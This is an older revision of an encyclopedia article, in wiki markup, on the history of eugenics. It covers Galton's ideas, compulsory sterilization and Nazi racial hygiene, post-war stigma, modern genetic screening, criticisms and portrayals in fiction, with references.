Eugenic policies have been historically divided into two categories: ''positive eugenics'', which encourage a designated &quot;most fit&quot; to reproduce more often, and ''negative eugenics'', which discourage or prevent a designated &quot;less fit&quot; from reproducing. Negative eugenics need not always be coercive. A state might offer financial rewards to certain people who submit to sterilization, although some critics might reply that this incentive along with social pressure could be perceived as coercion. Positive eugenics can also be coercive. [[Abortion]] by &quot;[[fit]]&quot; women was illegal in [[Nazi Germany]].

During the twentieth century, many countries enacted various eugenics policies and programs, including:

*Promoting differential birth rates
*[[Compulsory sterilization]]
*Marriage restrictions
*Genetic screening
*[[Birth control]]
*[[Immigration]] control
*[[Segregation]] (both [[racial segregation]] as well as segregation of the mentally ill from the &quot;normal&quot;)
*[[Extermination]]

Most of these policies were later regarded as coercive, restrictive, or genocidal, and now few jurisdictions implement policies that are explicitly labeled as eugenic, or unequivically eugenenic in substance (however labled). However, some private organizations assist people in [[genetic counseling]], and [[reprogenetics]] may be considered as a form of non state-enforced, &quot;liberal&quot; eugenics.

==History==
=== Galton's theory ===
Selective breeding was suggested at least as far back as [[Plato]], who believed human reproduction should be controlled by government. He recorded these views in his famous dialogue &quot;The Republic.&quot; &quot;The best men must have intercourse with the best women as frequently as possible, and the opposite is true of the very inferior.&quot; Plato proposed that selection be performed by a fake lottery so people's feelings wouldn't be hurt by any awareness of selection principles. Other ancient examples include the city of [[Sparta]]'s mythical practice of leaving weak babies outside of city borders to die.  ''See [[Infanticide]].''

[[Image:Francis Galton 1850s.jpg|right|thumb|200px|Sir [[Francis Galton]] initially developed the ideas of eugenics.]]

During the 1860s and 1870s Sir Francis Galton systematized these ideas and practices according to new knowledge about the evolution of man and animals provided by the theory of his cousin [[Charles Darwin]]. After reading Darwin's ''[[Origin of Species]]'', Galton noticed an interpretation of Darwin's work whereby the mechanisms of [[natural selection]] were potentially thwarted by human [[civilization]]. He reasoned that, since many human societies sought to protect the underprivileged and weak, those societies were at odds with the natural selection responsible for extinction of the weakest. Only by changing these social policies, Galton thought, could society be saved from a &quot;reversion towards mediocrity&quot;, a phrase that he first coined in statistics, and which later changed to the now common, &quot;regression towards the mean.&quot; 

Galton first sketched out his theory in the [[1865]] article &quot;Hereditary Talent and Character,&quot; then elaborated it further in his [[1869]] book ''Hereditary Genius''. He began by studying the way in which human intellectual, moral, and personality traits tended to run in families. Galton's basic argument was that &quot;genius&quot; and &quot;talent&quot; were hereditary traits in humans (although neither he nor Darwin yet had a working model of this type of heredity). He concluded that, since one could use [[artificial selection]] to exaggerate traits in animals, one could expect similar results when applying such models to humans. As he wrote in the introduction to ''Hereditary Genius'':

&lt;Blockquote&gt;I propose to show in this book that a man's natural abilities are derived by inheritance, under exactly the same limitations as are the form and physical features of the whole organic world. Consequently, as it is easy, notwithstanding those limitations, to obtain by careful selection a permanent breed of dogs or horses gifted with peculiar powers of running, or of doing anything else, so it would be quite practicable to produce a highly-gifted race of men by judicious marriages during several consecutive generations.&lt;/Blockquote&gt;

According to Galton, society already encouraged [[Dysgenics|dysgenic]] conditions, claiming that the less intelligent were out-reproducing the more intelligent. Galton did not propose any selection methods: rather, he hoped that a solution would be found if social mores changed in a way that encouraged people to see the importance of breeding. 

Galton first used the word ''eugenic'' in his 1883 ''Inquiries into Human Faculty and Its Development'', a book in which he meant &quot;to touch on various topics more or less connected with that of the cultivation of race, or, as we might call it, with 'eugenic' questions.&quot; He included a footnote to the word &quot;eugenic&quot; which read:

&lt;Blockquote&gt;That is, with questions bearing on what is termed in Greek,'' eugenes ''namely, good in stock, hereditarily endowed with noble qualities. This, and the allied words,'' eugeneia'', etc., are equally applicable to men, brutes, and plants. We greatly want a brief word to express the science of improving stock, which is by no means confined to questions of judicious mating, but which, especially in the case of man, takes cognisance of all influences that tend in however remote a degree to give to the more suitable races or strains of blood a better chance of prevailing speedily over the less suitable than they otherwise would have had. The word'' eugenics ''would sufficiently express the idea; it is at least a neater word and a more generalised one than'' viriculture ''which I once ventured to use.''&lt;/Blockquote&gt;

In 1904 he clarified his definition of eugenics as:

&lt;Blockquote&gt;the science which deals with all influences that improve the inborn qualities of a race; also with those that develop them to the utmost advantage. [http://www.mugu.com/galton/essays/1900-1911/galton-1904-am-journ-soc-eugenics-scope-aims.htm] &lt;/Blockquote&gt;

Galton's formulation of eugenics was based on a strong [[statistics|statistical]] approach, influenced heavily by [[Adolphe Quetelet]]'s &quot;social physics.&quot; Unlike Quetelet however, Galton did not exhalt the &quot;average man,&quot; but decried him as mediocre. Galton and his statistical heir [[Karl Pearson]] developed what was called the [[biometrics|biometrical]] approach to eugenics, which developed new and complex statistical models (later exported to wholly different fields) to describe the heredity of traits. However, with the re-discovery of [[Gregor Mendel]]'s hereditary laws, two separate camps of eugenics advocates emerged. One was made up of statisticians, the other of biologists. Statisticians thought the biologists had exceptionally crude mathematical models while biologists thought the statisticians knew little about biology. 

Eugenics eventually referred to human selective reproduction with an intent to create children with desirable traits, generally through the approach of influencing [[differential birth rates]]. These policies were mostly divided into two categories: ''Positive eugenics'', the increased reproduction of those seen to have advantageous hereditary traits and ''negative eugenics'', the discouragment of reproduction by those with hereditary traits perceived as poor. Negative eugenic policies in the past have ranged from attempts at [[segregation]] to [[compulsory sterilization|sterilization]] and even [[genocide]]. Positive eugenic policies have typically taken the form of awards or bonuses for &quot;fit&quot; parents who have another child. Relatively innocuous practices like [[marriage counseling]] had early links with eugenic ideology. 

Eugenics differed from what would later be known as [[Social Darwinism]]. While both claimed intelligence was hereditary, eugenics asserted that new policies were needed to actively change the status quo towards a more &quot;eugenic&quot; state, while the Social Darwinists argued society itself would naturally &quot;check&quot; the problem of &quot;dysgenics&quot; if no welfare policies were in place (for example, the poor might reproduce more but would have higher mortality rates).

=== Eugenics and the state, 1890s-1945 ===
One of the earliest modern advocates of eugenic ideas (before they were labeled as such) was [[Alexander Graham Bell]]. In 1881 Bell investigated the rate of [[deaf]]ness on [[Martha's Vineyard]], Mass. From this he concluded that deafness was hereditary in nature and recommended a marriage prohibition against the deaf (&quot;Memoir upon the formation of a deaf variety of the human Race&quot;). Like many other early eugenicists he proposed controlling immigration for the purpose of eugenics and warned that boarding schools for the deaf could possibly be considered as breeding places of a deaf human race.

Though eugenics is today often associated with [[racism]], it was not always so; both [[W.E.B. DuBois]] and [[Marcus Garvey]] supported eugenics or ideas resembling eugenics as a way to reduce [[African American]] suffering and improve the stature of African Americans. 

[[Image:Wir stehen nicht allein.jpg|thumb|200px|&quot;We do not stand alone&quot;: Nazi poster from 1936 with flags of other countries with [[compulsory sterilization]] legislation.]]

[[Nazi Germany]] under [[Adolf Hitler]] was infamous for eugenics programs which attempted to maintain a &quot;pure&quot; German race through a series of programs which ran under the banner of &quot;[[racial hygiene]].&quot; Among other activities, the Nazis performed extensive experimentation on live human beings to test their genetic theories, ranging from simple measurement of physical characteristics to the more ghastly experiments carried out by [[Josef Mengele]] for [[Otmar von Verschuer]] on twins in the concentration camps. During the [[1930s]] and [[1940s]] the Nazi regime [[compulsory sterilization|forcibly sterilized]] hundreds of thousands of people whom they viewed as mentally and physically &quot;unfit&quot; and killed tens of thousands of the institutionalized disabled through compulsory &quot;[[euthanasia]]&quot; programs. 

[[Image:EnthanasiePropaganda.jpg|thumb|left|Nazi propaganda for their compulsory [[T-4 Euthanasia Program|&quot;euthanasia&quot; program]]: &quot;This person suffering from hereditary defects costs the community 60,000 Reichsmark during his lifetime. Fellow German, that is your money, too.&quot;]]

They also implemented a number of &quot;positive&quot; eugenics policies, giving awards to &quot;[[Aryan race|Aryan]]&quot; women who had large numbers of children and encouraged a service in which &quot;racially pure&quot; single women were impregnated by [[Schutzstaffel|SS]] officers ([[Lebensborn]]). Many of their concerns for eugenics and racial hygiene were also explicitly present in their systematic killing of millions of &quot;undesirable&quot; Europeans including [[Jew]]s, [[Roma (people)|gypsies]] and [[homosexuality|homosexuals]] during [[the Holocaust]] (and much of the killing equipment and methods employed in the death camps were first developed in their euthanasia program). The scope and coercion involved in the German eugenics programs along with a strong use of the rhetoric of eugenics and so-called &quot;racial science&quot; throughout the regime created an indelible cultural association between eugenics and the [[Third Reich]] in the postwar years. 

The second largest eugenics movement was in the [[United States]]. Beginning with [[Connecticut]] in [[1896]] many states enacted marriage laws with eugenic criteria, prohibiting anyone who was &quot;epileptic, imbecile or [[feeble-minded]]&quot; from marrying. In 1898 [[Charles Benedict Davenport|Charles B. Davenport]], a prominent American [[biology|biologist]] began as director of a biological research station based in [[Cold Spring Harbor]] where he experimented with evolution in plants and animals. In 1904 Davenport received funds from the [[Carnegie Institution]] to found the Station for Experimental Evolution. The [[Eugenics Record Office]] opened in [[1910]] while Davenport and [[Harry H. Laughlin]] began to promote eugenics. 

[[Image:Kallikaks chart1.jpg|200px|right|thumb|A [[pedigree]] chart from ''[[The Kallikak Family]]'' meant to show how one &quot;illicit tryst&quot; could lead to an entire generation of &quot;imbeciles&quot;.]] 

In years to come the ERO collected a mass of family pedigrees and concluded that those who were unfit came from economically and socially poor backgrounds. Eugenicists such as Davenport, the [[psychology|psychologist]] [[Henry H. Goddard]] and the conservationist [[Madison Grant]] (all well respected in their time) began to lobby for various solutions to the problem of the &quot;unfit&quot; (Davenport favored immigration restriction and sterilization as primary methods, Goddard favored segregation in his ''[[The Kallikak Family]]'', Grant favored all of the above and more, even entertaining the idea of extermination). Though their methodology and research methods are now understood as highly flawed, at the time this was seen as legitimate scientific research. It did, however, have scientific detractors (notably [[Thomas Hunt Morgan]]).

In [[1924]], the [[Immigration Act of 1924]] was passed, with eugenicists for the first time playing a central role in the Congressional debate as expert advisers on the threat of &quot;inferior stock&quot; from Eastern and Southern Europe. [http://www.eugenicsarchive.org/eugenics/topics_fs.pl?theme=10&amp;search=1113&amp;matches=1113] This reduced the number of immigrants from abroad to fifteen percent from previous years, to control the number of &quot;unfit&quot; individuals entering the country. The new Act strengthened existing laws prohibiting race mixing in an attempt to maintain the gene pool. Eugenic considerations also lay behind the adoption of [[incest]] laws in much of the USA and were used to justify many [[miscegenation|anti-miscegenation]] laws.

Some states sterilized &quot;imbeciles&quot; for much of the [[20th century]]. The [[Supreme Court of the United States|US Supreme Court]] ruled in the [[1927]] ''[[Buck v. Bell]]'' case that the state of [[Virginia]] could sterilize those they thought unfit. The most significant era of [[compulsory sterilization|eugenic sterilization]] was between 1907 and 1963 when over 64,000 individuals were forcibly sterilized under eugenic legislation in the United States. A favorable report on the results of the sterilizations in [[California]], by far the most sterilizing state, was published in book form by the biologist [[Paul Popenoe]] and was widely cited by the Nazi government as evidence that wide-reaching sterilization programs were feasible and humane. When Nazi administrators went on trial for [[war crimes]] in [[Nuremberg]] after [[World War II]] they justified the mass-sterilizations (over 450,000 in less than a decade) by citing the United States as their inspiration.

Almost all non-Catholic western nations adopted some eugenics legislation. In July [[1933]] [[Germany]] passed a law allowing for the involuntary sterilization of &quot;hereditary and incurable drunkards, sexual criminals, lunatics, and those suffering from an incurable disease which would be passed on to their offspring...&quot; [http://century.guardian.co.uk/1930-1939/Story/0,6051,126942,00.html] [[Sweden]] forcibly sterilized 62,000 &quot;unfits&quot; as part of a eugenics program over a forty year period. Similar incidents occurred in [[Canada]], [[United States]], [[Australia]], [[Norway]], [[Finland]], [[Denmark]], [[Estonia]], [[Switzerland]] and [[Iceland]] for people the government declared to be mentally deficient. [[Singapore]] practiced a limited form of &quot;positive&quot; eugenics which involved encouraging marriage between [[college]] graduates in the hope they would produce better children.

Various authors, notably [[Stephen Jay Gould]], have repeatedly asserted that restrictions on [[immigration]] passed in the United States during the [[1920s]] (and overhauled in [[1965]]) were motivated by the goals of eugenics, in particular a desire to exclude &quot;inferior&quot; races from the national gene pool. During the early twentieth century the United States and Canada began to receive far higher numbers of southern and eastern European immigrants. Influential eugenicists like [[Lothrop Stoddard]] and [[Harry Laughlin]] (who was appointed as an expert witness for the House Committee on Immigration and Naturalization in [[1920]]) presented arguments that these were inferior races who would pollute the national gene pool if their numbers went unrestricted. It has been argued that this stirred both Canada and the United States into passing laws creating a hierarchy of nationalities, rating them from the most desirable [[Anglo-Saxon]] and [[Nordic race|Nordic]] peoples to the Chinese and Japanese immigrants who were almost completely banned from entering the country.  However several people, in particular [[Franz Samelson]], [[Mark Snyderman]] and [[Richard Herrnstein]], have argued that, based on their examination of the records of the Congressional debates over immigration policy, Congress gave virtually no consideration to these factors. According to these authors, the restrictions were motivated primarily by a desire to maintain the country's [[culture|cultural]] integrity against a heavy influx of foreigners. This interpretation is not, however, accepted by most historians of eugenics.

Some who disagree with the idea of eugenics in general contend that eugenics legislation still had benefits. [[Margaret Sanger]] (founder of [[Planned Parenthood of America]]) found it a useful tool to urge the legalization of [[contraception]]. In its time, eugenics was seen by many as scientific and progressive, the natural application of knowledge about breeding to the arena of human life. Before the death camps of [[World War II]], the idea that eugenics could lead to [[genocide]] was not taken seriously.

=== Stigmatization of eugenics in the post-Nazi years ===
After the experience of [[Nazi Germany]] many ideas about &quot;racial hygiene&quot; and &quot;unfit&quot; members of society were publicly renounced by politicians and members of the scientific community. The [[Nuremberg Trials]] against former Nazi leaders revealed to the world many of the regime's genocidal practices and resulted in formalized policies of medical ethics and the 1950 [[UNESCO]] statement on race. Many scientific societies released their own similar &quot;race statements&quot; over the years and the [[Universal Declaration of Human Rights]], developed in response to abuses during the second World War, was adopted by the [[United Nations]] in [[1948]] and affirmed &quot;Men and women of full age, without any limitation due to race, nationality or religion, have the right to marry and to found a family.&quot; [http://www.unhchr.ch/udhr/lang/eng.htm] In continuation the 1978 [[UNESCO]] declaration on race and racial prejudice states that the fundamental equality of all human beings is the ideal toward which ethics and science should converge. [http://www.unhchr.ch/html/menu3/b/d_prejud.htm]

In reaction to Nazi abuses, eugenics became almost universally reviled in many of the nations where it had once been popular (however some eugenics programs, including sterilization, continued quietly for decades). Many pre-war eugenicists engaged in what they later labeled &quot;crypto-eugenics,&quot; purposefully taking their eugenic beliefs &quot;underground&quot; and becoming respected anthropologists, biologists and geneticists in the post-war world (including [[Robert Yerkes]] in the USA and [[Otmar von Verschuer]] in Germany). Californian eugenicist [[Paul Popenoe]] founded [[marriage counseling]] during the [[1950]]s, a career change which grew from his eugenic interests in promoting &quot;healthy marriages&quot; between &quot;fit&quot; couples. 

High school and college textbooks from the 1920s through the 40s often had chapters touting the scientific progress to be had from applying eugenic principles to the population. Many early scientific journals devoted to heredity in general were run by eugenicists and featured eugenics articles alongside studies of heredity in non-human organisms. After eugenics fell out of scientific favor, most references to eugenics were removed from textbooks and subsequent editions of relevant journals. Even the names of some journals changed to reflect new attitudes. For example, &quot;Eugenics Quarterly&quot; became &quot;Social Biology&quot; in 1969 (the journal still existed in 2005 though it looked little like its predecessor). Notable members of the [[American Eugenics Society]] ([[1922]]-[[1994]]) during the second half of the 20th Century included [[Joseph Fletcher]] (originator of [[Situational ethics]]), Dr. [[Clarence Gamble]] of the [[Procter &amp; Gamble]] fortune and [[Garrett Hardin]], a [[population control]] advocate and author of ''[[tragedy of the commons|The Tragedy of the Commons]]''.

Despite the changed post-war attitude towards eugenics in the US and some European countries, a few nations, notably [[Canada]] and [[Sweden]], maintained large-scale eugenics programs, including forced sterilization of mentally handicapped individuals, as well as other practices, until the [[1970s]]. In the United States, sterilizations capped off in the 1960s, though the eugenics movement had largely lost most popular and political support by the end of the 1930s.

=== Modern eugenics and genetic engineering ===
Beginning in the [[1980]]s the history and concept of eugenics were widely discussed as knowledge about [[genetics]] advanced significantly. Endeavors such as the [[Human Genome Project]] made the effective modification of the human species seem possible again (as did Darwin's initial theory of evolution in the 1860s, along with the rediscovery of [[Mendelian inheritance|Mendel's laws]] in the early 20th century). The difference at the beginning of the 21st century was the guarded attitude towards eugenics, which had become a watchword to be feared rather than embraced.

Only a few scientific researchers (such as the controversial psychologist [[Richard Lynn]]) have openly called for eugenic policies using modern technology but they represent a minority opinion in current scientific and cultural circles. One attempted implementation of a form of eugenics was a &quot;genius sperm bank&quot; (1980-1999) created by [[Robert Klark Graham]], from which nearly 230 children were conceived (the best known donor was [[Nobel Prize]] winner [[William Shockley]]). In the USA and Europe though, these attempts have frequently been criticized as in the same spirit of classist and racist forms of eugenics of the 1930s. Results, in any case, have been spotty at best.

Some conservative commentators have also proposed eugenics-like programs. [[Thomas Sowell]] advocated differential birth rates in his book ''Ethnic America'':

&lt;Blockquote&gt;The internal distribution of children among blacks has made the upward movement of the race as a whole more difficult. The general tendency of poor people to have more children than middle-class people has been accentuated among American Negroes. Better educated and higher income blacks have even fewer children than their white counterparts, while low-income blacks have even more children than equally low income whites. Much of the struggle that has brought some blacks up from poverty has had to be repeated in successive generations because successful blacks did not have enough children to reproduce themselves. (Sowell, 1981, p. 213)&lt;/Blockquote&gt;

Because of its association with compulsory sterilization and the racial ideals of the Nazi Party, the word ''eugenics'' is rarely used by the advocates of such programs.

Only a few governments in the world had anything resembling eugenic programs today. In [[1994]] [[China]] passed the &quot;Maternal and Infant Health Care Law&quot; which included mandatory pre-marital screenings for &quot;genetic diseases of a serious nature&quot; and &quot;relevant mental disease.&quot; Those who were diagnosed with such diseases were required either to not marry, agree to &quot;long term contraceptive measures&quot; or to submit to sterilization. This law was repealed in 2004.

A similar screening policy (including pre-natal screening and [[abortion]]) intended to reduce the incidence of [[thalassemia]] exists on both sides of the island of [[Cyprus]]. Since the program's implementation in the [[1970s]], it has reduced the ratio of children born with the hereditary blood disease from 1 out of every 158 births to almost zero. [[Dor Yeshorim]], a program which seeks to reduce the incidence of [[Tay-Sachs disease]] among certain [[Orthodox Judaism|Jewish communities]], is another screening program which has drawn comparisons with eugenics. In [[Israel]], at the expense of the state, the general public is advised to carry out genetic tests to diagnose the disease before the birth of a baby. If an unborn baby is diagnosed with Tay-Sachs the pregnancy is usually terminated. The ultra-Orthodox association [[Dor Yeshorim]] tests young couples to check whether they are genetically &quot;suitable.&quot; If both the young man and young woman are Tay-Sachs carriers, the match is determined to be unsuitable and the couple is expected to split up.

In modern bioethics literature, the history of eugenics presents many moral and ethical questions. Commentators have suggested the new &quot;eugenics&quot; will come from reproductive technologies that will allow parents to create so-called &quot;[[designer baby|designer babies]]&quot; (what the biologist [[Lee M. Silver]] prominently called &quot;[[reprogenetics]]&quot;). It has been argued that this &quot;non-coercive&quot; form of biological &quot;improvement&quot; will be predominantly motivated by individual competitiveness and the desire to create &quot;the best opportunities&quot; for children, rather than an urge to improve the species as a whole, which characterized the early twentieth century forms of eugenics. Because of this non-coercive nature, lack of involvement by the state and a difference in goals, some commentators have questioned whether such activities are eugenics or something else all together.

Some disability activists argue that, although their impairments may cause them pain or discomfort, what really disables them as members of society is a socio-cultural system that does not recognise their right to genuinely equal treatment. They express skepticism that any form of eugenics could be to the benefit of the disabled considering their treatment by historical eugenic campaigns.

[[James D. Watson]], the first director of the [[Human Genome Project]], initiated the [[Ethical, Legal and Social Implications Program]] (ELSI) which has funded a number of studies into the implications of human genetic engineering (along with a prominent website on the history of eugenics), because:

&lt;Blockquote&gt;In putting ethics so soon into the genome agenda, I was responding to my own personal fear that all too soon critics of the Genome Project would point out that I was a representative of the [[Cold Spring Harbor Laboratory]] that once housed the controversial [[Eugenics Record Office]]. My not forming a genome ethics program quickly might be falsely used as evidence that I was a closet eugenicist, having as my real long-term purpose the unambiguous identification of genes that lead to social and occupational stratification as well as genes justifying racial discrimination. (Watson 2000, p.202)&lt;/Blockquote&gt;

Distinguished geneticists including Nobel Prize winners [[John Sulston]] (''&quot;I don't think one ought to bring a clearly disabled child into the world&quot;'') [http://www.timesonline.co.uk/article/0,,2087-1337781,00.html] and Watson (''&quot;Once you have a way in which you can improve our children, no one can stop it.&quot;'')[http://www.timesonline.co.uk/printFriendly/0,,1-2-593687,00.html] support [[genetic screening]]. Which ideas should be described as &quot;eugenic&quot; are still controversial in both public and scholarly spheres. Some observers such as [[Philip Kitcher]] have described the use of genetic screening by parents as making possible a form of &quot;voluntary&quot; eugenics (see Kitcher's book, ''[http://www.wellcome.ac.uk/en/genome/geneticsandsociety/hg16f009.html The Lives to Come]'').

Some modern [[subculture]]s advocate different forms of eugenics assisted by [[human cloning]] and [[human genetic engineering]], sometimes even as part of a new [[Cult (religion)|cult]] (see [[Raëlism]], [[Cosmotheism]], [[Transtopianism]] or [http://www.prometheism.net/ Prometheism]). These groups also talk of &quot;conscious evolution&quot;, &quot;neo-eugenics&quot; or &quot;genetic freedom&quot;. 

Behavioral traits often identified as potential targets for modification through [[human genetic engineering]] include intelligence, depression, schizophrenia, alcoholism, sexual behavior (and orientation) and criminality.

Most recently in the [[United Kingdom]] a court case, the ''Crown v. James Edward Whittaker-Williams'', arguably set a precedent of banning sexual contact between people with learning disabilities. The accused, a man suffering learning disabilities was jailed for kissing and hugging a woman with learning disabilities. This was done under the 2003 Sexual Offences Act which redefines kissing and cuddling as sexual and states that those with learning difficulties are unable to give consent regardless of whether or not the act involved coercion. Opponents of the act have attacked it as bringing in eugenics through the backdoor under the guise of a requirement of &quot;consent&quot;.

==Criticism==
{{ActiveDiscuss}}

===Diseases vs. traits===
While the science of [[genetics]] has increasingly provided means by which certain characteristics and conditions can be identified and understood, given the complexity of human genetics and culture, there is at this point no agreed objective means of determining which traits might be ultimately desirable or undesirable.  Would eugenic manipulations that reduce the propensity for risk-taking and violence, for example, in a population lead to their extinction?  On the other hand, there is universal agreement that many [[Genetic disorder|genetic diseases]], such as Tay Sachs, [[spina bifida]], [[Down syndrome]], [[Rh disease]], etc. are quite harmful to the affected individuals and their families and therefore to the societies to which they belong.  Eugenic measures against many of the latter diseases are already being undertaken in societies around the world, while measures against traits that affect more subtle, poorly understood traits, such as risk-taking, are relegated to the realm of speculation and science fiction.  The effects of diseases are essentially wholly negative, and societies everywhere seek to reduce their impact by various means, some of which are eugenic in all but name.  The other traits that are discussed have positive as well as negative effects, and are not generally targeted at present anywhere.

===Slippery slope===
A commonly advanced criticism of eugenics is that, evidenced by its history, it inevitably leads to measures that are unethical (Lynn 2001). H. L. Kaye wrote of &quot;the obvious truth that eugenics has been discredited by Hitler's crimes&quot; (Kaye 1989). R. L. Hayman argued &quot;the eugenics movement is an anachronism, its political implications exposed by the Holocaust&quot; (Hayman 1990).  

[[Steven Pinker]] has stated that it is &quot;a conventional wisdom among left-leaning academics that genes imply genocide.&quot; He has responded to this &quot;conventional wisdom&quot; by comparing the history of [[Marxism]], which had the opposite position on genes to that of Nazism:

&lt;Blockquote&gt;But the 20th century suffered “two” ideologies that led to genocides. The other one, Marxism, had no use for race, didn't believe in genes and denied that human nature was a meaningful concept. Clearly, it's not an emphasis on genes or evolution that is dangerous. It's the desire to remake humanity by coercive means (eugenics or social engineering) and the belief that humanity advances through a struggle in which superior groups (race or classes) triumph over inferior ones.[http://pinker.wjh.harvard.edu/books/tbs/media_articles/2002_10_30_upi.html]&lt;/Blockquote&gt;

[[Richard Lynn]] argues that any social philosophy is capable of ethical misuse. Though Christian principles have aided in the abolition of slavery and the establishment of welfare programs, he notes that the Christian church has also burned many dissidents at the stake and waged wars against nonbelievers in which Christian crusaders slaughtered large numbers of women and children. Lynn argues the appropriate response is to condemn these killings, but believing Christianity &quot;inevitably leads to the extermination of those who do not accept its doctrines&quot; is unwarranted (Lynn 2001).

===Genetic diversity===
Eugenic policies could also lead to loss of [[genetic diversity]], in which case a culturally accepted improvement of the [[gene pool]] may, but wouldn't necessarily, result in biological disaster due to increased vulnerability to disease, reduced ability to adapt to environmental change and other factors both known and unknown. This kind of argument from the [[precautionary principle]] is itself widely criticized.

The possible elimination of the [[autism]] [[genotype]] is a significant political issue in the [[autism rights movement]] which claims autism is a form of [[neurodiversity]].

===Counter-arguments===
One website on logic has used the statement &quot;Eugenics must be wrong because it was associated with the Nazis&quot; as a typical example of the [[association fallacy]]. [http://www.fallacyfiles.org/guiltbya.html]  The stigmatization of eugenics because of its association, on the other hand, has not at all slowed the application of medical technologies that decrease the incidence of birth defects, or to slow the search for their causes.

== Eugenics in popular culture ==

Eugenics is a recurrent theme in [[science fiction]] (often [[dystopian]]) - the novel ''[[Brave New World]]'' by [[Aldous Huxley]] explores the theme in depth, as does the more recent (and up-to-date on the science) movie ''[[Gattaca]]'', whose plot turns around [[genetic testing]]. [[Boris Vian]] (under the pseudonym Vernon Sullivan) takes a more light-hearted approach in his novel ''Et on tuera tous les affreux'' (&quot;And we'll kill all the ugly ones&quot;).

Other novels touching upon the subject include ''[[The Gate to Women's Country]]'' by [[Sheri S. Tepper]] and ''[[That Hideous Strength]]'' by [[C.S. Lewis]]. The [[Eugenics Wars]] are a significant part of the background story of the [[Star Trek]] universe. Eugenics are also a significant part of the plot of the [[James Bond]] movie ''[[Moonraker]]''.

In [[Frank Herbert|Frank Herbert's]] [[Dune (novel)|Dune]] series of novels, selective breeding programs form a significant theme.  Early in the series, the [[Bene Gesserit]] religious order manipulate breeding patterns over many generations in order to create the [[Kwisatz Haderach]].  In [[God Emperor of Dune]], the emperor [[Leto Atreides II|Leto II]] again manipulates human breeding in order to achieve his own ends.

There tends to be a eugenic undercurrent in the [[science fiction]] concept of the [[supersoldier]]. Several depictions of these supersoldiers usually have them bred for combat or genetically selected for attributes that are beneficial to modern or future combat.

In the novel ''[[Time Enough for Love]]'' by [[Robert A. Heinlein]], a large trust fund is created to give financial encouragement to marriage among people whose parents and grandparents were long-lived. The result is a subset of Earth's population who have significantly above-average lifespans. Members of this group appear in many of the works by the same author.  

See also [[Genetic engineering in fiction]].

== See also ==
* [[List of eugenicists]]
* [[Biological determinism]]
* [[Genetic determinism]]
* [[Race and intelligence]]
* [[Repository for Germinal Choice]]
* [[Social Justice]]
* [[State racism]], a concept coined by [[Michel Foucault]]

==References==
;Early works on eugenics
*Francis Galton, [http://www.mugu.com/galton/essays/1900-1911/galton-1904-am-journ-soc-eugenics-scope-aims.htm &quot;Eugenics: Its definition, scope, and aims,&quot;] ''The American Journal of Sociology'' 10:1 (July 1904).
*Francis Galton, [http://www.mugu.com/galton/books/hereditary-genius/ ''Hereditary genius: an inquiry into its laws and consequences''] (London: Macmillan, 1869). (Galton's first comprehensive work on eugenics)
*Francis Galton, [http://www.mugu.com/galton/essays/1860-1869/galton-1865-hereditary-talent.pdf &quot;Hereditary talent and character&quot;], ''Macmillan's Magazine'' 12 (1865): 157-166 and 318-327. (Galton's first article on heredity and eugenics)
*Francis Galton, [http://www.mugu.com/galton/books/human-faculty/ ''Inquiries into human faculty and its development''] (London, Macmillan, 1883). (Galton coins the word &quot;eugenics&quot;)
;Histories of eugenics
Many modern histories of eugenics are very critical of its history in the nineteenth and twentieth centuries. Not all scholars are in agreement about what implications the histories of eugenics have for the present or future of genetics and society.
*Mark Haller, ''Eugenics: Hereditarian attitudes in American thought'' (New Brunswick, NJ: Rutgers University Press, 1963). (Early work on the history of eugenics)
*[[Daniel Kevles]], ''In the name of eugenics: Genetics and the uses of human heredity'' (New York: Knopf, 1985). (Most recent survey work on the history of eugenics)
*Stefan Kühl, ''The Nazi connection: Eugenics, American racism, and German National Socialism '' (New York: Oxford University Press, 1994). (On the connections between U.S. and Nazi eugenics and eugenicists)
*Dieter Kuntz, ed., ''Deadly medicine: creating the master race'' (Washington, DC: United States Holocaust Memorial Museum, 2004). (On the use of science for eugenics in the U.S. and the Holocaust) [http://www.ushmm.org/museum/exhibit/online/deadlymedicine/ online exhibit]
*Diane B. Paul, &quot;Darwin, social Darwinism and eugenics,&quot; in Jonathan Hodge and Gregory Radick, eds., ''The Cambridge Companion to Darwin'' (Cambridge, England: Cambridge University Press, 2003), 214-239. (Darwin's assessment of Galton)
*Robert Proctor, ''Racial hygiene: Medicine under the Nazis'' (Cambridge, MA: Harvard University Press, 1988). (On the mobilization of the medical community under the Nazi state and the development of the racial hygiene movement)
*Paul Weindling, ''Health, race and German politics between national unification and Nazism, 1870-1945'' (New York: Cambridge University Press, 1989). (On the development of hygiene movements in Germany)
;Histories of hereditarian thought
*Elazar Barkan, ''The retreat of scientific racism: changing concepts of race in Britain and the United States between the world wars'' (New York: Cambridge University Press, 1992). (On the changing attitudes towards race and biology in the 20th century academic community)
*Stephen J. Gould, ''The mismeasure of man'' (New York: Norton, 1981). (Looks at the history of using science for racist purposes)
*[[Donald A. MacKenzie]], ''Statistics in Britain, 1865-1930: The social construction of scientific knowledge'' (Edinburgh: Edinburg University Press, 1981). (On the development of 19th century eugenics and theories of heredity)
;Criticisms of modern eugenics
*Tom Shakespeare, ''Genetic Politics: from Eugenics to Genome'', with Anne Kerr (New Clarion Press, 2002).
*Robert L. Hayman,  ''Presumptions of justice: Law, politics, and the mentally retarded parent''. ''Harvard Law Review'' 1990, 103, 1202-71.  (p. 1209)
*H. L. Kaye, ''The social meaning of modern biology'' 1987, New Haven, CT Yale University Press. (p. 46)
;Advocates of modern eugenics
*[[Richard Lynn]], ''Eugenics: A Reassessment (Human Evolution, Behavior, and Intelligence)'' (Praeger Publishers, 2001).
*[[Thomas Sowell]], ''Ethnic America''.  Basic Books, 1981. ISBN 0465020755
;Other references
*[[James D. Watson]], ''A passion for DNA: Genes, genomes, and society'' (Cold Spring Harbor, NY: Cold Spring Harbor Laboratory Press, 2000). (Co-discoverer of DNA talks about genes and ethics)
*[[Nicholas Agar]], Liberal Eugenics: In Defence of Human Enhancement (Blackwell, 2004).

==Further reading==
*Mark B. Adams, ed., ''The Wellborn Science: Eugenics in Germany, France, Brazil, and Russia'' (New York: Oxford University Press, 1990). ISBN 0195053613
*[[Edwin Black]], ''War Against the Weak: Eugenics and America's Campaign to Create a Master Race'' (Four Walls Eight Windows, 2003). [http://www.waragainsttheweak.com/] ISBN 1568582587
*Edwin Black, &quot;[http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2003/11/09/ING9C2QSKB1.DTL Eugenics and the Nazis -- the California connection]&quot;, ''San Francisco Chronicle'' ([[9 November]] [[2003]]).
